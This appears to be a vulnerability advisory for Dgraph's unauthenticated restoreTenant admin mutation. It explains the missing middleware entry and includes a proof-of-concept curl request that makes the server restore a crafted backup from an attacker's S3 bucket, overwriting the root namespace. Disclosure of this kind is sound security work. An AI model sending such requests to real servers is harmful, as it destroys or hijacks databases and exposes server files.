The restoreTenant admin mutation is missing from the authorization middleware config (admin.go:499-522), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware.
This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.
Every admin mutation has middleware configured in adminMutationMWConfig (admin.go:499-522) EXCEPT restoreTenant. The restore mutation has gogMutMWs (Guardian of Galaxy auth + IP whitelist + logging). restoreTenant is absent from the map.
When middleware is looked up at resolve/resolver.go:431, the map returns nil. The Then() method at resolve/middlewares.go:98 checks len(mws) == 0 and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.
The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:
# No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }"
}'
# Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}
# The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace)....
25.3.1Exploitability
AV:NAC:LPR:NUI:NScope
S:CImpact
C:HI:HA:H10.0/CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H